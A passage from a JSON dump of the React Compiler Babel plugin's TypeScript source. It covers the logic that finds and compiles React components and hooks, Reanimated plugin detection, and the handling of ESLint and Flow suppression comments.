findFunctionsToCompile(\n    program,\n    pass,\n    programContext,\n  );\n  const compiledFns: Array<CompileResult> = [];\n\n  // outputMode takes precedence if specified\n  const outputMode: CompilerOutputMode =\n    pass.opts.outputMode ?? (pass.opts.noEmit ? 'lint' : 'client');\n  while (queue.length !== 0) {\n    const current = queue.shift()!;\n    const compiled = processFn(\n      current.fn,\n      current.fnType,\n      programContext,\n      outputMode,\n    );\n\n    if (compiled != null) {\n      for (const outlined of compiled.outlined) {\n        CompilerError.invariant(outlined.fn.outlined.length === 0, {\n          reason: 'Unexpected nested outlined functions',\n          loc: outlined.fn.loc,\n        });\n        const fn = insertNewOutlinedFunctionNode(\n          program,\n          current.fn,\n          outlined.fn,\n        );\n        fn.skip();\n        programContext.alreadyCompiled.add(fn.node);\n        if (outlined.type !== null) {\n          queue.push({\n            kind: 'outlined',\n            fn,\n            fnType: outlined.type,\n          });\n        }\n      }\n      compiledFns.push({\n        kind: current.kind,\n        originalFn: current.fn,\n        compiledFn: compiled,\n      });\n    }\n  }\n\n  // Avoid modifying the program if we find a program level opt-out\n  if (programContext.hasModuleScopeOptOut) {\n    if (compiledFns.length > 0) {\n      const error = new CompilerError();\n      error.pushErrorDetail(\n        new CompilerErrorDetail({\n          reason:\n            'Unexpected compiled functions when module scope opt-out is present',\n          category: ErrorCategory.Invariant,\n          loc: null,\n        }),\n      );\n      handleError(error, programContext, null);\n    }\n    return;\n  }\n\n  // Insert React Compiler generated functions into the Babel AST\n  applyCompiledFunctions(program, compiledFns, pass, programContext);\n}\n\ntype CompileSource = {\n  kind: 'original' | 'outlined';\n  fn: BabelFn;\n  fnType: ReactFunctionType;\n};\n/**\n * Find all React components and hooks that need to be compiled\n *\n * @returns An array of React functions from @param program to transform\n */\nfunction findFunctionsToCompile(\n  program: NodePath<t.Program>,\n  pass: CompilerPass,\n  programContext: ProgramContext,\n): Array<CompileSource> {\n  const queue: Array<CompileSource> = [];\n  const traverseFunction = (fn: BabelFn, pass: CompilerPass): void => {\n    // In 'all' mode, compile only top level functions\n    if (\n      pass.opts.compilationMode === 'all' &&\n      fn.scope.getProgramParent() !== fn.scope.parent\n    ) {\n      return;\n    }\n\n    const fnType = getReactFunctionType(fn, pass);\n\n    if (fnType === null || programContext.alreadyCompiled.has(fn.node)) {\n      return;\n    }\n\n    /*\n     * We may be generating a new FunctionDeclaration node, so we must skip over it or this\n     * traversal will loop infinitely.\n     * Ensure we avoid visiting the original function again.\n     */\n    programContext.alreadyCompiled.add(fn.node);\n    fn.skip();\n\n    queue.push({kind: 'original', fn, fnType});\n  };\n\n  // Main traversal to compile with Forget\n  program.traverse(\n    {\n      ClassDeclaration(node: NodePath<t.ClassDeclaration>) {\n        /*\n         * Don't visit functions defined inside classes, because they\n         * can reference `this` which is unsafe for compilation\n         */\n        node.skip();\n      },\n\n      ClassExpression(node: NodePath<t.ClassExpression>) {\n        /*\n         * Don't visit functions defined inside classes, because they\n         * can reference `this` which is unsafe for compilation\n         */\n        node.skip();\n      },\n\n      FunctionDeclaration: traverseFunction,\n\n      FunctionExpression: traverseFunction,\n\n      ArrowFunctionExpression: traverseFunction,\n    },\n    {\n      ...pass,\n      opts: {...pass.opts, ...pass.opts},\n      filename: pass.filename ?? null,\n    },\n  );\n  return queue;\n}\n\n/**\n * Try to compile a source function, taking into account all local suppressions,\n * opt-ins, and opt-outs.\n *\n * Errors encountered during compilation are either logged (if recoverable) or\n * thrown (if non-recoverable).\n *\n * @returns the compiled function or null if the function was skipped (due to\n * config settings and/or outputs)\n */\nfunction processFn(\n  fn: BabelFn,\n  fnType: ReactFunctionType,\n  programContext: ProgramContext,\n  outputMode: CompilerOutputMode,\n): null | CodegenFunction {\n  let directives: {\n    optIn: t.Directive | null;\n    optOut: t.Directive | null;\n  };\n  if (fn.node.body.type !== 'BlockStatement') {\n    directives = {\n      optIn: null,\n      optOut: null,\n    };\n  } else {\n    const optIn = tryFindDirectiveEnablingMemoization(\n      fn.node.body.directives,\n      programContext.opts,\n    );\n    if (optIn.isErr()) {\n      /**\n       * If parsing opt-in directive fails, it's most likely that React Compiler\n       * was not tested or rolled out on this function. In that case, we handle\n       * the error and fall back to the safest option which is to not optimize\n       * the function.\n       */\n      handleError(optIn.unwrapErr(), programContext, fn.node.loc ?? null);\n      return null;\n    }\n    directives = {\n      optIn: optIn.unwrapOr(null),\n      optOut: findDirectiveDisablingMemoization(\n        fn.node.body.directives,\n        programContext.opts,\n      ),\n    };\n  }\n\n  let compiledFn: CodegenFunction;\n  const compileResult = tryCompileFunction(\n    fn,\n    fnType,\n    programContext,\n    outputMode,\n  );\n  if (compileResult.kind === 'error') {\n    if (directives.optOut != null) {\n      logError(compileResult.error, programContext, fn.node.loc ?? null);\n    } else {\n      handleError(compileResult.error, programContext, fn.node.loc ?? null);\n    }\n    return null;\n  } else {\n    compiledFn = compileResult.compiledFn;\n  }\n\n  /**\n   * If 'use no forget/memo' is present and we still ran the code through the\n   * compiler for validation, log a skip event and don't mutate the babel AST.\n   * This allows us to flag if there is an unused 'use no forget/memo'\n   * directive.\n   */\n  if (\n    programContext.opts.ignoreUseNoForget === false &&\n    directives.optOut != null\n  ) {\n    programContext.logEvent({\n      kind: 'CompileSkip',\n      fnLoc: fn.node.body.loc ?? null,\n      reason: `Skipped due to '${directives.optOut.value}' directive.`,\n      loc: directives.optOut.loc ?? null,\n    });\n    return null;\n  }\n  programContext.logEvent({\n    kind: 'CompileSuccess',\n    fnLoc: fn.node.loc ?? null,\n    fnName: compiledFn.id?.name ?? null,\n    memoSlots: compiledFn.memoSlotsUsed,\n    memoBlocks: compiledFn.memoBlocks,\n    memoValues: compiledFn.memoValues,\n    prunedMemoBlocks: compiledFn.prunedMemoBlocks,\n    prunedMemoValues: compiledFn.prunedMemoValues,\n  });\n\n  if (programContext.hasModuleScopeOptOut) {\n    return null;\n  } else if (programContext.opts.outputMode === 'lint') {\n    return null;\n  } else if (\n    programContext.opts.compilationMode === 'annotation' &&\n    directives.optIn == null\n  ) {\n    /**\n     * If no opt-in directive is found and the compiler is configured in\n     * annotation mode, don't insert the compiled function.\n     */\n    return null;\n  } else {\n    return compiledFn;\n  }\n}\n\nfunction tryCompileFunction(\n  fn: BabelFn,\n  fnType: ReactFunctionType,\n  programContext: ProgramContext,\n  outputMode: CompilerOutputMode,\n):\n  | {kind: 'compile'; compiledFn: CodegenFunction}\n  | {kind: 'error'; error: unknown} {\n  /**\n   * Note that Babel does not attach comment nodes to nodes; they are dangling off of the\n   * Program node itself. We need to figure out whether an eslint suppression range\n   * applies to this function first.\n   */\n  const suppressionsInFunction = filterSuppressionsThatAffectFunction(\n    programContext.suppressions,\n    fn,\n  );\n  if (suppressionsInFunction.length > 0) {\n    return {\n      kind: 'error',\n      error: suppressionsToCompilerError(suppressionsInFunction),\n    };\n  }\n\n  try {\n    const result = compileFn(\n      fn,\n      programContext.opts.environment,\n      fnType,\n      outputMode,\n      programContext,\n      programContext.opts.logger,\n      programContext.filename,\n      programContext.code,\n    );\n    if (result.isOk()) {\n      return {kind: 'compile', compiledFn: result.unwrap()};\n    } else {\n      return {kind: 'error', error: result.unwrapErr()};\n    }\n  } catch (err) {\n    /**\n     * A pass incorrectly threw instead of recording the error.\n     * Log for detection in development.\n     */\n    if (\n      err instanceof CompilerError &&\n      err.details.every(detail => detail.category !== ErrorCategory.Invariant)\n    ) {\n      programContext.logEvent({\n        kind: 'CompileUnexpectedThrow',\n        fnLoc: fn.node.loc ?? null,\n        data: err.toString(),\n      });\n    }\n    return {kind: 'error', error: err};\n  }\n}\n\n/**\n * Applies React Compiler generated functions to the babel AST by replacing\n * existing functions in place or inserting new declarations.\n */\nfunction applyCompiledFunctions(\n  program: NodePath<t.Program>,\n  compiledFns: Array<CompileResult>,\n  pass: CompilerPass,\n  programContext: ProgramContext,\n): void {\n  let referencedBeforeDeclared = null;\n  for (const result of compiledFns) {\n    const {kind, originalFn, compiledFn} = result;\n    const transformedFn = createNewFunctionNode(originalFn, compiledFn);\n    programContext.alreadyCompiled.add(transformedFn);\n\n    let dynamicGating: ExternalFunction | null = null;\n    if (originalFn.node.body.type === 'BlockStatement') {\n      const result = findDirectivesDynamicGating(\n        originalFn.node.body.directives,\n        pass.opts,\n      );\n      if (result.isOk()) {\n        dynamicGating = result.unwrap()?.gating ?? null;\n      }\n    }\n    const functionGating = dynamicGating ?? pass.opts.gating;\n    if (kind === 'original' && functionGating != null) {\n      referencedBeforeDeclared ??=\n        getFunctionReferencedBeforeDeclarationAtTopLevel(program, compiledFns);\n      insertGatedFunctionDeclaration(\n        originalFn,\n        transformedFn,\n        programContext,\n        functionGating,\n        referencedBeforeDeclared.has(result),\n      );\n    } else {\n      originalFn.replaceWith(transformedFn);\n    }\n  }\n\n  // Forget compiled the component, we need to update existing imports of useMemoCache\n  if (compiledFns.length > 0) {\n    addImportsToProgram(program, programContext);\n  }\n}\n\nfunction shouldSkipCompilation(\n  program: NodePath<t.Program>,\n  pass: CompilerPass,\n): boolean {\n  if (pass.opts.sources) {\n    if (pass.filename === null) {\n      const error = new CompilerError();\n      error.pushErrorDetail(\n        new CompilerErrorDetail({\n          reason: `Expected a filename but found none.`,\n          description:\n            \"When the 'sources' config options is specified, the React compiler will only compile files with a name\",\n          category: ErrorCategory.Config,\n          loc: null,\n        }),\n      );\n      handleError(error, pass, null);\n      return true;\n    }\n\n    if (!isFilePartOfSources(pass.opts.sources, pass.filename)) {\n      return true;\n    }\n  }\n\n  if (\n    hasMemoCacheFunctionImport(\n      program,\n      getReactCompilerRuntimeModule(pass.opts.target),\n    )\n  ) {\n    return true;\n  }\n  return false;\n}\n\nfunction getReactFunctionType(\n  fn: BabelFn,\n  pass: CompilerPass,\n): ReactFunctionType | null {\n  if (fn.node.body.type === 'BlockStatement') {\n    const optInDirectives = tryFindDirectiveEnablingMemoization(\n      fn.node.body.directives,\n      pass.opts,\n    );\n    if (optInDirectives.unwrapOr(null) != null) {\n      return getComponentOrHookLike(fn) ?? 'Other';\n    }\n  }\n\n  // Component and hook declarations are known components/hooks\n  let componentSyntaxType: ReactFunctionType | null = null;\n  if (fn.isFunctionDeclaration()) {\n    if (isComponentDeclaration(fn.node)) {\n      componentSyntaxType = 'Component';\n    } else if (isHookDeclaration(fn.node)) {\n      componentSyntaxType = 'Hook';\n    }\n  }\n\n  switch (pass.opts.compilationMode) {\n    case 'annotation': {\n      // opt-ins are checked above\n      return null;\n    }\n    case 'infer': {\n      // Check if this is a component or hook-like function\n      return componentSyntaxType ?? getComponentOrHookLike(fn);\n    }\n    case 'syntax': {\n      return componentSyntaxType;\n    }\n    case 'all': {\n      return getComponentOrHookLike(fn) ?? 'Other';\n    }\n    default: {\n      assertExhaustive(\n        pass.opts.compilationMode,\n        `Unexpected compilationMode \\`${pass.opts.compilationMode}\\``,\n      );\n    }\n  }\n}\n\n/**\n * Returns true if the program contains an `import {c} from \"<moduleName>\"` declaration,\n * regardless of the local name of the 'c' specifier and the presence of other specifiers\n * in the same declaration.\n */\nfunction hasMemoCacheFunctionImport(\n  program: NodePath<t.Program>,\n  moduleName: string,\n): boolean {\n  let hasUseMemoCache = false;\n  program.traverse({\n    ImportSpecifier(path) {\n      const imported = path.get('imported');\n      let importedName: string | null = null;\n      if (imported.isIdentifier()) {\n        importedName = imported.node.name;\n      } else if (imported.isStringLiteral()) {\n        importedName = imported.node.value;\n      }\n      if (\n        importedName === 'c' &&\n        path.parentPath.isImportDeclaration() &&\n        path.parentPath.get('source').node.value === moduleName\n      ) {\n        hasUseMemoCache = true;\n      }\n    },\n  });\n  return hasUseMemoCache;\n}\n\nfunction isHookName(s: string): boolean {\n  return /^use[A-Z0-9]/.test(s);\n}\n\n/*\n * We consider hooks to be a hook name identifier or a member expression\n * containing a hook name.\n */\n\nfunction isHook(path: NodePath<t.Expression | t.PrivateName>): boolean {\n  if (path.isIdentifier()) {\n    return isHookName(path.node.name);\n  } else if (\n    path.isMemberExpression() &&\n    !path.node.computed &&\n    isHook(path.get('property'))\n  ) {\n    const obj = path.get('object').node;\n    const isPascalCaseNameSpace = /^[A-Z].*/;\n    return obj.type === 'Identifier' && isPascalCaseNameSpace.test(obj.name);\n  } else {\n    return false;\n  }\n}\n\n/*\n * Checks if the node is a React component name. React component names must\n * always start with an uppercase letter.\n */\n\nfunction isComponentName(path: NodePath<t.Expression>): boolean {\n  return path.isIdentifier() && /^[A-Z]/.test(path.node.name);\n}\n\nfunction isReactAPI(\n  path: NodePath<t.Expression | t.PrivateName | t.V8IntrinsicIdentifier>,\n  functionName: string,\n): boolean {\n  const node = path.node;\n  return (\n    (node.type === 'Identifier' && node.name === functionName) ||\n    (node.type === 'MemberExpression' &&\n      node.object.type === 'Identifier' &&\n      node.object.name === 'React' &&\n      node.property.type === 'Identifier' &&\n      node.property.name === functionName)\n  );\n}\n\n/*\n * Checks if the node is a callback argument of forwardRef. This render function\n * should follow the rules of hooks.\n */\n\nfunction isForwardRefCallback(path: NodePath<t.Expression>): boolean {\n  return !!(\n    path.parentPath.isCallExpression() &&\n    path.parentPath.get('callee').isExpression() &&\n    isReactAPI(path.parentPath.get('callee'), 'forwardRef')\n  );\n}\n\n/*\n * Checks if the node is a callback argument of React.memo. This anonymous\n * functional component should follow the rules of hooks.\n */\n\nfunction isMemoCallback(path: NodePath<t.Expression>): boolean {\n  return (\n    path.parentPath.isCallExpression() &&\n    path.parentPath.get('callee').isExpression() &&\n    isReactAPI(path.parentPath.get('callee'), 'memo')\n  );\n}\n\nfunction isValidPropsAnnotation(\n  annot: t.TypeAnnotation | t.TSTypeAnnotation | t.Noop | null | undefined,\n): boolean {\n  if (annot == null) {\n    return true;\n  } else if (annot.type === 'TSTypeAnnotation') {\n    switch (annot.typeAnnotation.type) {\n      case 'TSArrayType':\n      case 'TSBigIntKeyword':\n      case 'TSBooleanKeyword':\n      case 'TSConstructorType':\n      case 'TSFunctionType':\n      case 'TSLiteralType':\n      case 'TSNeverKeyword':\n      case 'TSNumberKeyword':\n      case 'TSStringKeyword':\n      case 'TSSymbolKeyword':\n      case 'TSTupleType':\n        return false;\n    }\n    return true;\n  } else if (annot.type === 'TypeAnnotation') {\n    switch (annot.typeAnnotation.type) {\n      case 'ArrayTypeAnnotation':\n      case 'BooleanLiteralTypeAnnotation':\n      case 'BooleanTypeAnnotation':\n      case 'EmptyTypeAnnotation':\n      case 'FunctionTypeAnnotation':\n      case 'NumberLiteralTypeAnnotation':\n      case 'NumberTypeAnnotation':\n      case 'StringLiteralTypeAnnotation':\n      case 'StringTypeAnnotation':\n      case 'SymbolTypeAnnotation':\n      case 'ThisTypeAnnotation':\n      case 'TupleTypeAnnotation':\n        return false;\n    }\n    return true;\n  } else if (annot.type === 'Noop') {\n    return true;\n  } else {\n    assertExhaustive(annot, `Unexpected annotation node \\`${annot}\\``);\n  }\n}\n\nfunction isValidComponentParams(\n  params: Array<NodePath<t.Identifier | t.Pattern | t.RestElement>>,\n): boolean {\n  if (params.length === 0) {\n    return true;\n  } else if (params.length > 0 && params.length <= 2) {\n    if (!isValidPropsAnnotation(params[0].node.typeAnnotation)) {\n      return false;\n    }\n\n    if (params.length === 1) {\n      return !params[0].isRestElement();\n    } else if (params[1].isIdentifier()) {\n      // check if second param might be a ref\n      const {name} = params[1].node;\n      return name.includes('ref') || name.includes('Ref');\n    } else {\n      /**\n       * Otherwise, avoid helper functions that take more than one argument.\n       * Helpers are _usually_ named with lowercase, but some code may\n       * violate this rule\n       */\n      return false;\n    }\n  }\n  return false;\n}\n\n/*\n * Adapted from the ESLint rule at\n * https://github.com/facebook/react/blob/main/packages/eslint-plugin-react-hooks/src/RulesOfHooks.js#L90-L103\n */\nfunction getComponentOrHookLike(\n  node: NodePath<\n    t.FunctionDeclaration | t.ArrowFunctionExpression | t.FunctionExpression\n  >,\n): ReactFunctionType | null {\n  const functionName = getFunctionName(node);\n  // Check if the name is component or hook like:\n  if (functionName !== null && isComponentName(functionName)) {\n    let isComponent =\n      callsHooksOrCreatesJsx(node) &&\n      isValidComponentParams(node.get('params')) &&\n      !returnsNonNode(node);\n    return isComponent ? 'Component' : null;\n  } else if (functionName !== null && isHook(functionName)) {\n    // Hooks have hook invocations or JSX, but can take any # of arguments\n    return callsHooksOrCreatesJsx(node) ? 'Hook' : null;\n  }\n\n  /*\n   * Otherwise for function or arrow function expressions, check if they\n   * appear as the argument to React.forwardRef() or React.memo():\n   */\n  if (node.isFunctionExpression() || node.isArrowFunctionExpression()) {\n    if (isForwardRefCallback(node) || isMemoCallback(node)) {\n      // As an added check we also look for hook invocations or JSX\n      return callsHooksOrCreatesJsx(node) ? 'Component' : null;\n    }\n  }\n  return null;\n}\n\nfunction skipNestedFunctions(\n  node: NodePath<\n    t.FunctionDeclaration | t.ArrowFunctionExpression | t.FunctionExpression\n  >,\n) {\n  return (\n    fn: NodePath<\n      t.FunctionDeclaration | t.ArrowFunctionExpression | t.FunctionExpression\n    >,\n  ): void => {\n    if (fn.node !== node.node) {\n      fn.skip();\n    }\n  };\n}\n\nfunction callsHooksOrCreatesJsx(\n  node: NodePath<\n    t.FunctionDeclaration | t.ArrowFunctionExpression | t.FunctionExpression\n  >,\n): boolean {\n  let invokesHooks = false;\n  let createsJsx = false;\n\n  node.traverse({\n    JSX() {\n      createsJsx = true;\n    },\n    CallExpression(call) {\n      const callee = call.get('callee');\n      if (callee.isExpression() && isHook(callee)) {\n        invokesHooks = true;\n      }\n    },\n    ArrowFunctionExpression: skipNestedFunctions(node),\n    FunctionExpression: skipNestedFunctions(node),\n    FunctionDeclaration: skipNestedFunctions(node),\n  });\n\n  return invokesHooks || createsJsx;\n}\n\nfunction isNonNode(node?: t.Expression | null): boolean {\n  if (!node) {\n    return true;\n  }\n  switch (node.type) {\n    case 'ObjectExpression':\n    case 'ArrowFunctionExpression':\n    case 'FunctionExpression':\n    case 'BigIntLiteral':\n    case 'ClassExpression':\n    case 'NewExpression': // technically `new Array()` is legit, but unlikely\n      return true;\n  }\n  return false;\n}\n\nfunction returnsNonNode(\n  node: NodePath<\n    t.FunctionDeclaration | t.ArrowFunctionExpression | t.FunctionExpression\n  >,\n): boolean {\n  let returnsNonNode = false;\n  if (\n    // node.traverse#ArrowFunctionExpression isn't called for the root node\n    node.type === 'ArrowFunctionExpression' &&\n    node.node.body.type !== 'BlockStatement'\n  ) {\n    returnsNonNode = isNonNode(node.node.body);\n  }\n\n  node.traverse({\n    ReturnStatement(ret) {\n      returnsNonNode = isNonNode(ret.node.argument);\n    },\n    // Skip traversing all nested functions and their return statements\n    ArrowFunctionExpression: skipNestedFunctions(node),\n    FunctionExpression: skipNestedFunctions(node),\n    FunctionDeclaration: skipNestedFunctions(node),\n    ObjectMethod: node => node.skip(),\n  });\n\n  return returnsNonNode;\n}\n\n/*\n * Gets the static name of a function AST node. For function declarations it is\n * easy. For anonymous function expressions it is much harder. If you search for\n * `IsAnonymousFunctionDefinition()` in the ECMAScript spec you'll find places\n * where JS gives anonymous function expressions names. We roughly detect the\n * same AST nodes with some exceptions to better fit our use case.\n */\n\nfunction getFunctionName(\n  path: NodePath<\n    t.FunctionDeclaration | t.ArrowFunctionExpression | t.FunctionExpression\n  >,\n): NodePath<t.Expression> | null {\n  if (path.isFunctionDeclaration()) {\n    const id = path.get('id');\n    if (id.isIdentifier()) {\n      return id;\n    }\n    return null;\n  }\n  let id: NodePath<t.LVal | t.Expression | t.PrivateName> | null = null;\n  const parent = path.parentPath;\n  if (parent.isVariableDeclarator() && parent.get('init').node === path.node) {\n    // const useHook = () => {};\n    id = parent.get('id');\n  } else if (\n    parent.isAssignmentExpression() &&\n    parent.get('right').node === path.node &&\n    parent.get('operator') === '='\n  ) {\n    // useHook = () => {};\n    id = parent.get('left');\n  } else if (\n    parent.isProperty() &&\n    parent.get('value').node === path.node &&\n    !parent.get('computed') &&\n    parent.get('key').isLVal()\n  ) {\n    /*\n     * {useHook: () => {}}\n     * {useHook() {}}\n     */\n    id = parent.get('key');\n  } else if (\n    parent.isAssignmentPattern() &&\n    parent.get('right').node === path.node &&\n    !parent.get('computed')\n  ) {\n    /*\n     * const {useHook = () => {}} = {};\n     * ({useHook = () => {}} = {});\n     *\n     * Kinda clowny, but we'd said we'd follow spec convention for\n     * `IsAnonymousFunctionDefinition()` usage.\n     */\n    id = parent.get('left');\n  }\n  if (id !== null && (id.isIdentifier() || id.isMemberExpression())) {\n    return id;\n  } else {\n    return null;\n  }\n}\n\nfunction getFunctionReferencedBeforeDeclarationAtTopLevel(\n  program: NodePath<t.Program>,\n  fns: Array<CompileResult>,\n): Set<CompileResult> {\n  const fnNames = new Map<string, {id: t.Identifier; fn: CompileResult}>(\n    fns\n      .map<[NodePath<t.Expression> | null, CompileResult]>(fn => [\n        getFunctionName(fn.originalFn),\n        fn,\n      ])\n      .filter(\n        (entry): entry is [NodePath<t.Identifier>, CompileResult] =>\n          !!entry[0] && entry[0].isIdentifier(),\n      )\n      .map(entry => [entry[0].node.name, {id: entry[0].node, fn: entry[1]}]),\n  );\n  const referencedBeforeDeclaration = new Set<CompileResult>();\n\n  program.traverse({\n    TypeAnnotation(path) {\n      path.skip();\n    },\n    TSTypeAnnotation(path) {\n      path.skip();\n    },\n    TypeAlias(path) {\n      path.skip();\n    },\n    TSTypeAliasDeclaration(path) {\n      path.skip();\n    },\n    Identifier(id) {\n      const fn = fnNames.get(id.node.name);\n      // We're not tracking this identifier.\n      if (!fn) {\n        return;\n      }\n\n      /*\n       * We've reached the declaration, hoisting is no longer possible, stop\n       * checking for this component name.\n       */\n      if (id.node === fn.id) {\n        fnNames.delete(id.node.name);\n        return;\n      }\n\n      const scope = id.scope.getFunctionParent();\n      /*\n       * A null scope means there's no function scope, which means we're at the\n       * top level scope.\n       */\n      if (scope === null && id.isReferencedIdentifier()) {\n        referencedBeforeDeclaration.add(fn.fn);\n      }\n    },\n  });\n\n  return referencedBeforeDeclaration;\n}\n\nexport function getReactCompilerRuntimeModule(\n  target: CompilerReactTarget,\n): string {\n  if (target === '19') {\n    return 'react/compiler-runtime'; // from react namespace\n  } else if (target === '17' || target === '18') {\n    return 'react-compiler-runtime'; // npm package\n  } else {\n    CompilerError.invariant(\n      target != null &&\n        target.kind === 'donotuse_meta_internal' &&\n        typeof target.runtimeModule === 'string',\n      {\n        reason: 'Expected target to already be validated',\n        loc: GeneratedSource,\n      },\n    );\n    return target.runtimeModule;\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Entrypoint/Reanimated.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport type * as BabelCore from '@babel/core';\nimport {hasOwnProperty} from '../Utils/utils';\nimport {ParsedPluginOptions} from './Options';\n\nfunction hasModule(name: string): boolean {\n  if (typeof require === 'undefined') {\n    return false;\n  }\n  try {\n    return !!require.resolve(name);\n  } catch (error: any) {\n    if (\n      error.code === 'MODULE_NOT_FOUND' &&\n      error.message.indexOf(name) !== -1\n    ) {\n      return false;\n    }\n    throw error;\n  }\n}\n\n/**\n * Tries to detect if reanimated is installed by first looking for the presence of the babel plugin.\n * However, babel-preset-expo includes it by default so it is occasionally ommitted. If so, we do\n * a check to see if `react-native-animated` is requireable.\n *\n * See https://github.com/expo/expo/blob/e4b8d86442482c7316365a6b7ec1141eec73409d/packages/babel-preset-expo/src/index.ts#L300-L301\n */\nexport function pipelineUsesReanimatedPlugin(\n  plugins: Array<BabelCore.PluginItem> | null | undefined,\n): boolean {\n  if (Array.isArray(plugins)) {\n    for (const plugin of plugins) {\n      if (hasOwnProperty(plugin, 'key')) {\n        const key = (plugin as any).key; // already checked\n        if (\n          typeof key === 'string' &&\n          key.indexOf('react-native-reanimated') !== -1\n        ) {\n          return true;\n        }\n      }\n    }\n  }\n  return hasModule('react-native-reanimated');\n}\n\nexport function injectReanimatedFlag(\n  options: ParsedPluginOptions,\n): ParsedPluginOptions {\n  return {\n    ...options,\n    environment: {\n      ...options.environment,\n      enableCustomTypeDefinitionForReanimated: true,\n    },\n  };\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Entrypoint/Suppression.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {NodePath} from '@babel/core';\nimport * as t from '@babel/types';\nimport {\n  CompilerDiagnostic,\n  CompilerError,\n  CompilerSuggestionOperation,\n  ErrorCategory,\n} from '../CompilerError';\nimport {assertExhaustive} from '../Utils/utils';\nimport {GeneratedSource} from '../HIR';\n\n/**\n * Captures the start and end range of a pair of eslint-disable ... eslint-enable comments. In the\n * case of a CommentLine or a relevant Flow suppression, both the disable and enable point to the\n * same comment.\n *\n * The enable comment can be missing in the case where only a disable block is present, ie the rest\n * of the file has potential React violations.\n */\nexport type SuppressionRange = {\n  disableComment: t.Comment;\n  enableComment: t.Comment | null;\n  source: SuppressionSource;\n};\n\ntype SuppressionSource = 'Eslint' | 'Flow';\n\n/**\n * An suppression affects a function if:\n *   1. The suppression is within the function's body; or\n *   2. The suppression wraps the function\n */\nexport function filterSuppressionsThatAffectFunction(\n  suppressionRanges: Array<SuppressionRange>,\n  fn: NodePath<t.Function>,\n): Array<SuppressionRange> {\n  const suppressionsInScope: Array<SuppressionRange> = [];\n  const fnNode = fn.node;\n  for (const suppressionRange of suppressionRanges) {\n    if (\n      suppressionRange.disableComment.start == null ||\n      fnNode.start == null ||\n      fnNode.end == null\n    ) {\n      continue;\n    }\n    // The suppression is within the function\n    if (\n      suppressionRange.disableComment.start > fnNode.start &&\n      // If there is no matching enable, the rest of the file has potential violations\n      (suppressionRange.enableComment === null ||\n        (suppressionRange.enableComment.end != null &&\n          suppressionRange.enableComment.end < fnNode.end))\n    ) {\n      suppressionsInScope.push(suppressionRange);\n    }\n\n    // The suppression wraps the function\n    if (\n      suppressionRange.disableComment.start < fnNode.start &&\n      // If there is no matching enable, the rest of the file has potential violations\n      (suppressionRange.enableComment === null ||\n        (suppressionRange.enableComment.end != null &&\n          suppressionRange.enableComment.end > fnNode.end))\n    ) {\n      suppressionsInScope.push(suppressionRange);\n    }\n  }\n  return suppressionsInScope;\n}\n\nexport function findProgramSuppressions(\n  programComments: Array<t.Comment>,\n  ruleNames: Array<string> | null,\n  flowSuppressions: boolean,\n): Array<SuppressionRange> {\n  const suppressionRanges: Array<SuppressionRange> = [];\n  let disableComment: t.Comment | null = null;\n  let enableComment: t.Comment | null = null;\n  let source: SuppressionSource | null = null;\n\n  let disableNextLinePattern: RegExp | null = null;\n  let disablePattern: RegExp | null = null;\n  let enablePattern: RegExp | null = null;\n  if (ruleNames != null && ruleNames.length !== 0) {\n    const rulePattern = `(${ruleNames.join('|')})`;\n    disableNextLinePattern = new RegExp(\n      `eslint-disable-next-line ${rulePattern}`,\n    );\n    disablePattern = new RegExp(`eslint-disable ${rulePattern}`);\n    enablePattern = new RegExp(`eslint-enable ${rulePattern}`);\n  }\n\n  const flowSuppressionPattern = new RegExp(\n    '\\\\$(FlowFixMe\\\\w*|FlowExpectedError|FlowIssue)\\\\[react\\\\-rule',\n  );\n\n  for (const comment of programComments) {\n    if (comment.start == null || comment.end == null) {\n      continue;\n    }\n\n    if (\n      /*\n       * If we're already within a CommentBlock, we should not restart the range prematurely for a\n       * CommentLine within the block.\n       */\n      disableComment == null &&\n      disableNextLinePattern != null &&\n      disableNextLinePattern.test(comment.value)\n    ) {\n      disableComment = comment;\n      enableComment = comment;\n      source = 'Eslint';\n    }\n\n    if (\n      flowSuppressions &&\n      disableComment == null &&\n      flowSuppressionPattern.test(comment.value)\n    ) {\n      disableComment = comment;\n      enableComment = comment;\n      source = 'Flow';\n    }\n\n    if (disablePattern != null && disablePattern.test(comment.value)) {\n      disableComment = comment;\n      source = 'Eslint';\n    }\n\n    if (\n      enablePattern != null &&\n      enablePattern.test(comment.value) &&\n      source === 'Eslint'\n    ) {\n      enableComment = comment;\n    }\n\n    if (disableComment != null && source != null) {\n      suppressionRanges.push({\n        disableComment: disableComment,\n        enableComment: enableComment,\n        source,\n      });\n      disableComment = null;\n      enableComment = null;\n      source = null;\n    }\n  }\n  return suppressionRanges;\n}\n\nexport function suppressionsToCompilerError(\n  suppressionRanges: Array<SuppressionRange>,\n): CompilerError {\n  CompilerError.invariant(suppressionRanges.length !== 0, {\n    reason: `Expected at least suppression comment source range`,\n    loc: GeneratedSource,\n  });\n  const error = new CompilerError();\n  for (const suppressionRange of suppressionRanges) {\n    if (\n      suppressionRange.disableComment.start == null ||\n      suppressionRange.disableComment.end == null\n    ) {\n      continue;\n    }\n    let reason, suggestion;\n    switch (suppressionRange.source) {\n      case 'Eslint':\n        reason =\n          'React Compiler has skipped optimizing this component because one or more React ESLint rules were disabled';\n        suggestion =\n          'Remove the ESLint suppression and address the React error';\n        break;\n      case 'Flow':\n        reason =\n          'React Compiler has skipped optimizing this component because one or more React rule violations were reported by Flow';\n        suggestion = 'Remove the Flow suppression and address the React error';\n        break;\n      default:\n        assertExhaustive(\n          suppressionRange.source,\n          'Unhandled suppression source',\n        );\n    }\n    error.pushDiagnostic(\n      CompilerDiagnostic.create({\n        reason: reason,\n        description: `React Compiler only works when your components follow all the rules of React, disabling them may result in unexpected or incorrect behavior. Found suppression \\`${suppressionRange.disableComment.value.trim()}\\``,\n        category: ErrorCategory.Suppression,\n        suggestions: [\n          {\n            description: suggestion,\n            range: [\n              suppressionRange.disableComment.start,\n              suppressionRange.disableComment.end,\n            ],\n            op: CompilerSuggestionOperation.Remove,\n          },\n        ],\n      }).withDetails({\n        kind: 'error',\n        loc: 